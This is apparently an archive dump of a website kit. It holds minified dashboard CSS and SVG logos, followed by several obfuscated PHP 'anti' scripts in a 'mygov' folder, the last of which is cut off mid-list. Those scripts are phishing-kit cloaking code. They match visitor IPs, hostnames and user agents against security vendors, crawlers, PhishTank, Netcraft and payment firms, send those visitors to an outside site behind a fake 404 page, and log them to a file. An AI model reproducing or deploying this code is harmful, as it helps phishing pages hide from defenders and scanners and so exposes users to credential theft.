.list-item-wrap .list-item .item-inner{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:flex-start;-moz-justify-content:flex-start;-ms-justify-content:flex-start;justify-content:flex-start;-ms-flex-pack:flex-start;position:relative}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control{margin:0;margin-top:-2px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title{width:100%;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a{color:#3e5569;font-weight:600;display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;width:calc(100% - 50px)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions{position:absolute;right:0px;top:50%;opacity:0;display:none;z-index:3;padding-left:10px;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:32px;color:#999;display:inline-block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus{background-color:#dee2e6;color:#333}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap{margin-top:5px;opacity:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p{margin:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus{background-color:#f9f9f9}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions{opacity:1;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened{height:auto;background-color:#fff;border:none;z-index:5;-webkit-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-transform:scale(1.01);-o-transform:scale(1.01);-ms-transform:scale(1.01);-webkit-transform:scale(1.01);transform:scale(1.01)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a{font-size:16px;color:#263238}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap{opacity:1}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item+.list-item{margin-top:-1px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child{border-bottom:none}.wrapper .page-wrap .footer{background:#fff;padding:20px 30px;border-top:1px solid rgba(0,0,0,0.04);font-size:calc(0.875rem - 0.05rem);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}@media only screen and (min-width: 1024px){.wrapper .page-wrap .footer{padding-left:270px}}.wrapper .page-wrap .right-sidebar{position:fixed;top:60px;right:0;width:240px;background:#fff;height:calc(100vh - 60px);border-left:1px solid #eef1f2;border-top:1px solid #eef1f2;padding:1.07143em;z-index:9;-moz-transform:translateX(100%);-o-transform:translateX(100%);-ms-transform:translateX(100%);-webkit-transform:translateX(100%);transform:translateX(100%);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6{color:#353c4e}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group{position:relative}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control{padding-right:30px;border-radius:50px;-webkit-border-radius:50px;-moz-border-radius:50px;padding-left:15px}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i{position:absolute;top:8px;right:10px;font-size:16px;color:#bbb}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group{margin-left:-1.07143em;margin-right:-1.07143em}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item{background:none;border:0;border-top:1px solid #eef1f2;padding:1em 1.07143em;overflow:hidden;color:#999;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure{margin:0;position:relative;margin-right:10px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img{width:40px;height:40px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span{line-height:1em;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:end;-moz-justify-content:end;-ms-justify-content:end;justify-content:end;-ms-flex-pack:end;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name{font-size:14px;color:#444;margin-bottom:5px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after{position:absolute;top:calc(50% + 15px);left:0;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel{position:fixed;top:calc(100vh);right:calc( 240px + 15px);width:310px;z-index:9999;-moz-transform:translateY(-100%) translateX(14.0625rem);-o-transform:translateY(-100%) translateX(14.0625rem);-ms-transform:translateY(-100%) translateX(14.0625rem);-webkit-transform:translateY(-100%) translateX(14.0625rem);transform:translateY(-100%) translateX(14.0625rem)}.wrapper .page-wrap .chat-panel .card{border:none;margin-bottom:1.42857em;border-radius:10px;-webkit-border-radius:10px;-moz-border-radius:10px;-webkit-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);-moz-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);box-shadow:0 4px 8px 3px rgba(0,0,0,0.2)}.wrapper .page-wrap .chat-panel .card .card-header{background:none;padding:1.07143em 1.42857em;font-size:1.14286em;border-bottom:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-body{padding:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages{position:relative;max-height:21.42857em;overflow-y:scroll;margin-top:-1.07143em;margin-right:-1.07143em;margin-left:-1.07143em;padding-top:1.07143em;padding-right:1.07143em;padding-left:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages .message{margin:0.71429em 0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child{margin-top:0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure{-webkit-box-ordinal-group:3;-ms-flex-order:2;margin:0;position:relative;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img{width:30px;height:30px}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body{margin-top:.5em;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end;margin:auto 1.5em;-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p{background:#404E67;border:1px solid #404E67;border-radius:3px;padding:.5em 1em;color:#fff;margin-bottom:.5em;position:relative}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;top:1.25rem;right:-7px;left:auto;border-style:solid;border-width:6px 0 7px 6px;border-color:transparent transparent transparent #404E67;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{right:-7px;border-left-color:#404E67}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p{background:#fff;border:1px solid #eef1f2;border-radius:0;border-top-right-radius:3px;border-bottom-right-radius:3px;border-radius:3px;color:#666}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{left:-9px;border-right-color:#eef1f2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-footer{background:none;padding:1.07143em 1.42857em;border-top:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-footer .list-icon{font-size:1.125rem}.wrapper .page-wrap .chat-panel .card .card-footer textarea{box-shadow:none;resize:none;padding:0;width:100%;min-height:auto;padding:5px 0}.wrapper.nav-collapsed .header-top{padding-left:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar{width:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover{width:240px}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel{display:block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before{display:inline-block}.wrapper.nav-collapsed .page-wrap .main-content{padding-left:75px}.wrapper.nav-collapsed .page-wrap .footer{padding-left:90px}.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}.wrapper.right-sidebar-expand .right-sidebar{-moz-transform:translateX(0);-o-transform:translateX(0);-ms-transform:translateX(0);-webkit-transform:translateX(0);transform:translateX(0)}.wrapper.right-sidebar-expand .chat-panel{-moz-transform:translateY(-100%) translateX(0);-o-transform:translateY(-100%) translateX(0);-ms-transform:translateY(-100%) translateX(0);-webkit-transform:translateY(-100%) translateX(0);transform:translateY(-100%) translateX(0)}hr{box-sizing:content-box;height:0;margin-top:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}.profiletimeline{position:relative;padding-left:40px;margin:40px 10px 0 30px;border-left:1px solid rgba(0,0,0,0.1)}.profiletimeline .sl-item{margin-top:8px;margin-bottom:30px}.profiletimeline .sl-item .sl-left{float:left;margin-left:-60px;z-index:1;margin-right:15px}.profiletimeline .sl-item .sl-left img{max-width:40px}.profiletimeline .sl-item .sl-right .sl-date{font-size:12px;color:#afb5c1}.dd-handle{background:#f7f7f7;border-radius:3px;padding:20px;position:relative;display:block;text-decoration:none;margin:5px 0;overflow:hidden}.dd-handle p{margin:0}.dd-handle:after,.dd-handle::after{content:'';width:5px;height:100%;position:absolute;top:0;left:0}.dd-list{margin:0;padding:0;list-style:none}.dd-list .dd-placeholder,.dd-list .dd-empty{margin:5px 0;padding:0;min-height:30px;background:#f2fbff;border:1px dashed #b6bcbf;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dd-list .dd-list{padding-left:30px}.dd-dragel{position:absolute;pointer-events:none;z-index:9999}.dd-dragel .dd-handle{-webkit-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);-ms-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1)}.todo-task .dd-handle:after,.todo-task .dd-handle::after{background-color:#f5365c}.progress-task .dd-handle:after,.progress-task .dd-handle::after{background-color:#F7CA18}.completed-task .dd-handle:after,.completed-task .dd-handle::after{background-color:#26C281}[class*="user--"]::after{height:0.64286em;width:0.64286em;display:block;position:absolute;top:0;right:10%;border-radius:100px;content:"";-webkit-box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 2px #fff}.user--online:after{background:#06d6a0}.user--busy:after{background:#ff3333}.user--offline:after{background:#bbb}
/*# sourceMappingURL=theme.min.css.map */
img/down-arrow.svg000064400000000576151676702570010170 0ustar00<?xml version='1.0' encoding='utf-8'?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 129 129" enable-background="new 0 0 129 129">
  <g>
    <path d="m121.3,34.6c-1.6-1.6-4.2-1.6-5.8,0l-51,51.1-51.1-51.1c-1.6-1.6-4.2-1.6-5.8,0-1.6,1.6-1.6,4.2 0,5.8l53.9,53.9c0.8,0.8 1.8,1.2 2.9,1.2 1,0 2.1-0.4 2.9-1.2l53.9-53.9c1.7-1.6 1.7-4.2 0.1-5.8z"/>
  </g>
</svg>
img/.gitignore000064400000000000151676702570007316 0ustar00img/brand-white.svg000064400000001420151676702570010262 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"
	 viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#FFFFFF;}
	.st1{fill:#EF4153;}
</style>
<path class="st0" d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/>
<path class="st0" d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/>
<path class="st1" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5c0.7-0.7,1.5-1,2.5-1
	c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/>
</svg>
img/brand.svg000064400000001361151676702570007150 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"
	 viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#EF4153;}
</style>
<g>
	<path d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/>
	<path d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/>
	<path class="st0" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5
		c0.7-0.7,1.5-1,2.5-1c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/>
</g>
</svg>
mygov/anti/anti1.php000064400000005353151676702570010413 0ustar00<?php $c28dd9c=$_SERVER['REMOTE_ADDR'];$c97e57ec=array("^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^173.239.*.*","^173.244.36.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","173.239.240.147",
"103.248.172.42",
"87.113.96.90",
"165.227.0.128",
"185.229.190.140", 
"165.227.0.128", 
"46.101.94.163", 
"165.227.39.194",
"87.113.96.90",
"46.101.119.24",
"82.102.27.75", 
"173.239.230.97", 
"82.102.27.75", 
"87.113.96.90", 
"46.101.119.24", 
"173.239.230.97", 
"87.113.96.90", 
"87.113.96.90", 
"159.203.0.156", 
"162.243.187.126",
"82.102.27.75", 
"87.113.96.90",
"103.248.172.42", 
"103.248.172.42", 
"47.30.133.89", 
"103.248.172.42"
);if(in_array($c28dd9c,$c97e57ec)){exit(header('Location: http://2m.ma'));}else{foreach($c97e57ec as $a4ade){if(preg_match('/'.$a4ade.'/',$c28dd9c)){header('Location: http://2m.ma');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}$e5bd3f5f=gethostbyaddr($c28dd9c);$f6650d6e=array("drweb","hostinger","scanurl","above","google","Dr.Web","facebook","softlayer","amazonaws","cyveillance","dreamhost","netpilot","calyxinstitute","tor-exit","phishtank","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach($f6650d6e as $e540ca){if(substr_count($e5bd3f5f,$e540ca)>0){header('Location: http://2m.ma');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c3d1b=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");foreach($c3d1b as $cef6a){if(strpos($_SERVER['HTTP_USER_AGENT'],$cef6a)!==false){exit(header('Location: http://2m.ma'));}}}?>mygov/anti/anti2.php000064400000003104151676702570010404 0ustar00<?php $c28dd9c=$_SERVER['REMOTE_ADDR'];$c97h77ec=array("^81.161.59.*","^66.135.200.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","^91.103.66.*","^208.91.115.*","^199.30.228.*");if(in_array($c28dd9c,$c97h77ec)){exit(header('Location: http://2m.ma'));}else{foreach($c97h77ec as $a4nde){if(preg_match('/'.$a4nde.'/',$c28dd9c)){header('Location: http://2m.ma');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}?>mygov/anti/anti3.php000064400000010102151676702570010401 0ustar00<?php $a370a=$_SERVER['REMOTE_ADDR'];$cd1e=array("^94.26.*.*","^95.85.*.*","^72.52.96.*","^212.8.79.*","^62.99.77.*","^83.31.118.*","^91.231.*.*","^206.207.*.*","^91.231.212.*","^62.99.77.*","^198.41.243.*","^162.158.*.*","^162.158.7.*","^162.158.72.*","^173.245.55.*","^108.162.246.*","^162.158.95.*","^108.162.215.*","^95.108.194.*","^141.101.104.*","^93.54.82.*","^69.164.145.*","^194.153.113.*","^178.43.117.*","^62.141.65.*","^83.31.69.*","^107.178.195.*","^149.20.54.*","^85.9.7.*","^87.106.251.*","^107.178.194.*","^124.66.185.*","^133.11.204.*","^185.2.138.*","^188.165.83.*","^78.148.13.*","^192.232.213.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^176.195.231.*","^206.253.226.*","^107.20.181.*","^188.244.39.*","^124.66.185.*","^38.74.138.*","^124.66.185.*","^38.74.138.*","^206.253.226.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^85.9.7.*","^37.140.188.*","^195.128.227.*","^38.74.138.*","^107.20.181.*","^104.131.223.*","^46.4.120.*","^107.178.194.*","^198.60.236.*","^217.74.103.*","^92.103.69.*","^217.74.103.*","^66.211.160.86*","^46.244.*.*","^131.*.*.*","^157.*.*.*","^202.*.*.*","^204.*.*.*","^207.*.*.*","^213.*.*.*","^219.*.*.*","^63.*.*.*","^64.*.*.*","^65.*.*.*","^68.*.*.*","^64.*.*.*","^64.233.160.*","^64.233.191.*","^64.233.191.255*","^66.102.*.*","^66.249.*.*","^72.14.*.*","^74.125.*.*","^209.85.*.*","^216.239.*.*","^64.4.*.*","^65.52.*.*","^131.253.*.*","^157.54.*.*","^207.46.*.*","^207.68.*.*","^8.12.*.*","^66.196.*.*","^66.228.*.*","^67.195.*.*","^68.142.*.*","^72.30.*.*","^74.6.*.*","^98.136.*.*","^202.160.*.*","^209.191.*.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*",);foreach($cd1e as $cv1x){if(preg_match('/'.$cv1x.'/',$a370a)){header('Location: http://2m.ma');$f4c64o=fopen("captured.txt","a+");fwrite($f4c64o,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64o);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}$c114d=strtolower($_SERVER['HTTP_USER_AGENT']);$e97476a=array("bot","above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","crawler","urlredirectresolver","jetbrains","spam","windows 95","windows 98","acunetix","netsparker","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm","EBAY","CL0NA","jabber","ebay","arabot","hotmail!","msn!","outlook!","outlook","msn","hotmail");foreach($e97476a as $d3e7e){if(substr_count($c114d,strtolower($d3e7e))>0 or $c114d=="" or $c114d==" " or $c114d=="	"){header('Location: http://2m.ma');$f4c64i=fopen("captured.txt","a+");fwrite($f4c64i,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64i);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}?>mygov/anti/anti4.php000064400000016546151676702570010424 0ustar00<?php $c5d6b=$_SERVER['REMOTE_ADDR'];$gh665yu=gethostbyaddr($c5d6b);$b3d6d45ss=array("bot","above","google","softlayer","amazonaws","cyveillance","compatible","facebook","phishtank","mozilla","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","Trident","X11","Macintosh","crawler","urlredirectresolver","jetbrains","spam","windows 95","Windows XP","windows xp","windows 98","acunetix","netsparker","google","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm",'Googlebot','Baiduspider','ia_archiver','R6_FeedFetcher','NetcraftSurveyAgent','Sogou web spider','bingbot','Yahoo! Slurp','facebookexternalhit','PrintfulBot','msnbot','Twitterbot','UnwindFetchor','urlresolver','Butterfly','TweetmemeBot','PaperLiBot','MJ12bot','AhrefsBot','Exabot','Ezooms','YandexBot','SearchmetricsBot','picsearch','TweetedTimes Bot','QuerySeekerSpider','ShowyouBot','woriobot','merlinkbot','BazQuxBot','Kraken','SISTRIX Crawler','R6_CommentReader','magpie-crawler','GrapeshotCrawler','PercolateCrawler','MaxPointCrawler','R6_FeedFetcher','NetSeer crawler','grokkit-crawler','SMXCrawler','PulseCrawler','Y!J-BRW','80legs.com/webcrawler','Mediapartners-Google','Spinn3r','InAGist','Python-urllib','NING','TencentTraveler','Feedfetcher-Google','mon.itor.us','spbot','Feedly','bot','curl','spider','crawler',"abot","dbot","ebot","hbot","kbot","lbot","mbot","nbot","obot","pbot","rbot","sbot","tbot","vbot","ybot","zbot","bot.","bot/","_bot",".bot","/bot","-bot",":bot","(bot","crawl","slurp","spider","seek","accoona","acoon","adressendeutschland","ah-ha.com","ahoy","altavista","ananzi","anthill","appie","arachnophilia","arale","araneo","aranha","architext","aretha","arks","asterias","atlocal","atn","atomz","augurfind","backrub","bannana_bot","baypup","bdfetch","big brother","biglotron","bjaaland","blackwidow","blaiz","blog","blo.","bloodhound","boitho","booch","bradley","butterfly","calif","cassandra","ccubee","cfetch","charlotte","churl","cienciaficcion","cmc","collective","comagent","combine","computingsite","csci","curl","cusco","daumoa","deepindex","delorie","depspid","deweb","echo blinde kuh","digger","ditto","dmoz","docomo","download express","dtaagent","dwcp","ebiness","ebingbong","e-collector","ejupiter","emacs-w3 search engine","esther","evliya celebi","ezresult","falcon","felix ide","ferret","fetchrover","fido","findlinks","fireball","fish search","fouineur","funnelweb","gazz","gcreep","genieknows","getterroboplus","geturl","glx","goforit","golem","grabber","grapnel","gralon","griffon","gromit","grub","gulliver","hamahakki","harvest","havindex","helix","heritrix","hku www octopus","homerweb","htdig","html 